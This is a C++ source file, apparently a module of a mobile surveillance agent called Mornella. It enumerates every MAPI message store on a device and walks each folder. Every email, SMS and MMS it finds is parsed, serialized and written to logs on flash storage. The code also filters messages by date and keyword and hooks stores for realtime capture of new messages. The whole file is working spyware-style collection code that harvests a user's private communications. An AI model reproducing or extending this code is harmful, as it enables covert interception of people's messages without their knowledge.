Mornella/Mornella_Mobile/MAPIAgent.cpp
#include <map>
#include "Conf.h"
#include "Log.h"
#include "MAPIAgent.h"
DWORD CollectorThreadProc(LPVOID lpParameter)
{
(void) lpParameter;
MAPIAgent* agent = MAPIAgent::Instance();
// agent->WriteMarkup();
agent->Collect(0);
return 0;
}
class MAPIAgentCleaner
{
public:
~MAPIAgentCleaner()
{
MAPIAgent::Destroy();
}
} MAPIAgentCleanerInstance;
MAPIAgent* MAPIAgent::_instance = NULL;
int MAPIAgent::_refCount = 0;
volatile LONG MAPIAgent::_lLock = 0;
MAPIAgent::MAPIAgent(void)
: _conf(NULL), _mapi(NULL), _dwCollectorThreadID(0), _hCollectorThread(NULL), _HasToQuit(false), _markup(NULL),
_collect(false), _realtime(false)
{
_markup = new MAPIMarkup();
}
MAPIAgent* MAPIAgent::Instance()
{
while (::InterlockedExchange((LPLONG)&_lLock, 1) != 0)
Sleep(1);
if ( _instance == NULL)
{
_instance = new MAPIAgent();
}
_refCount++;
::InterlockedExchange((LPLONG)&_lLock, 0);
return _instance;
}
void MAPIAgent::Release()
{
if ( --_refCount < 1)
{
Destroy();
_instance = NULL;
}
}
void MAPIAgent::Destroy()
{
if ( _instance != NULL )
{
delete _instance;
_instance = NULL;
_refCount = 0;
}
//if (_collect && _hCollectorThread != NULL) {
// CloseHandle(_hCollectorThread);
//}
}
BOOL MAPIAgent::Run(DWORD nRun)
{
(void) nRun;
if (_collect)
_hCollectorThread = CreateThread(NULL, 0, CollectorThreadProc, NULL, 0, &_dwCollectorThreadID);
if (_realtime)
AdviseStores();
return TRUE;
}
HRESULT MAPIAgent::Collect(DWORD nRun)
{
for(std::list<MAPIStorage*>::iterator store_iter = _mapi->stores.begin();
store_iter != _mapi->stores.end(); store_iter++)
{
MAPIStorage* storage = *store_iter;
HRESULT hr = storage->BuildFoldersTree();
if (FAILED(hr))
{
continue;
}
for (tree<MAPIFolder*>::iterator folder_iter = storage->folders.begin();
folder_iter != storage->folders.end(); folder_iter++)
{
MAPIFolder* folder = *folder_iter;
LONG nMessages = folder->GetNumberOfMessages();
if (nMessages > 0)
if (SUCCEEDED(folder->Open()))
{
MAPIMessage* msg;
ULONG nMsg = 1;
while ((msg = folder->GetSingleMessage()) != NULL)
{
ASSERT(msg);
if (storage->isIncomingFolder(folder))
msg->setIncoming();
msg->SetFolder(folder->name());
if (msg->Parse(COLLECT) == S_OK)
{
DWORD cbSize = 0;
LPBYTE lpData = msg->Serialize(&cbSize);
if (lpData != NULL)
{
UINT log_type = LOGTYPE_MAIL;
if (CmpWildW(CLASS_MAIL, msg->Class()) != 0)
log_type = LOGTYPE_MAIL;
else if (CmpWildW(CLASS_SMS, msg->Class()) != 0)
log_type = LOGTYPE_SMS;
else if (CmpWildW(CLASS_MMS, msg->Class()) != 0)
log_type = LOGTYPE_MMS;
Log* pLog = new Log();
if (pLog->CreateLog(log_type, NULL, 0, FLASH) == TRUE)
{
pLog->WriteLog(lpData, cbSize);
pLog->CloseLog();
}
delete pLog;
}
LocalFree(lpData);
}
delete msg;
msg = NULL;
nMsg++;
if (IsQuitting())
return S_OK;
Sleep(20);
}
}
}
}
return S_OK;
}
BOOL MAPIAgent::Init( LPBYTE lpConfig, DWORD cbConfig )
{
BOOL bConfigSet = setConfiguration(lpConfig, cbConfig);
if (bConfigSet == FALSE)
return FALSE;
_mapi = new MAPI();
if (_mapi == NULL)
return FALSE;
if (S_OK != _mapi->Init())
return FALSE;
if (S_OK != _mapi->EnumerateStores())
return FALSE;
return TRUE;
}
BOOL MAPIAgent::Accept( MAPIMessage* msg, FilterTypes FilterType )
{
ASSERT(msg);
if (msg->Class() == NULL) {
DBG_TRACE(L"Debug - MAPIAgent.cpp - Accept() [ERROR message class null]", 5, FALSE);
return FALSE;
}
// Get filter for message ... if no filter is found, assume message class is not interesting
MAPIAgentClassFilter* filter = IsMessageClassAcceptable(msg->Class(), FilterType);
if (filter == NULL) {
DBG_TRACE(L"Debug - MAPIAgent.cpp - Accept() [ERROR no filter for this class]", 5, FALSE);
return FALSE;
}
// Check if we have to take all of them
if (filter->header.All)
return TRUE;
// Check for filtering by date
LPFILETIME lpftDeliveryTime = msg->DeliveryTime();
if (lpftDeliveryTime)
{
// If Delivery time is equal or later than FromDate filter, accept message
if (filter->header.DoFilterFromDate == TRUE)
if ( CompareFileTime(lpftDeliveryTime, &filter->header.FromDate) < 0 ) {
DBG_TRACE(L"Debug - MAPIAgent.cpp - Accept() [ERROR Delivery time is before filter FromDate]", 5, FALSE);
return FALSE;
}
// If Delivery time is equal or earlier than ToDate filter, accept message
if (filter->header.DoFilterToDate == TRUE)
if ( CompareFileTime(lpftDeliveryTime, &filter->header.ToDate) > 0 ) {
DBG_TRACE(L"Debug - MAPIAgent.cpp - Accept() [ERROR Delivery time is after filter ToDate]", 5, FALSE);
return FALSE;
}
} else {
DBG_TRACE(L"Debug - MAPIAgent.cpp - Accept() [no Delivery time available ... no problem!]", 5, FALSE);
// if date is clearly invalid (1st Jan 1601), reject the message
//return FALSE;
}
// Check if we have to filter by keyword
if (filter->HasKeyword())
{
LPWSTR filterKeyword = filter->Keyword();
LPWSTR msgSubject = msg->Subject();
LPWSTR msgFrom = msg->From();
INT subjectMatch = 0; // assume they do not match
INT fromMatch = 0;
if (msgSubject)
subjectMatch = CmpWildW(filter->Keyword(), msgSubject);
if (msgFrom)
fromMatch = CmpWildW(filter->Keyword(), msgFrom);
// if keyword does not match Subject or From fields
if (subjectMatch == 0 && fromMatch == 0) {
DBG_TRACE(L"Debug - MAPIAgent.cpp - Accept() [ERROR filter keyword is not present in message]", 5, FALSE);
return FALSE;
}
}
return TRUE;
}
HRESULT MAPIAgent::AdviseStores()
{
for(std::list<MAPIStorage*>::iterator store_iter = _mapi->stores.begin();
store_iter != _mapi->stores.end(); store_iter++)
{
MAPIStorage* storage = *store_iter;
AdviseStore(storage);
}
return S_OK;
}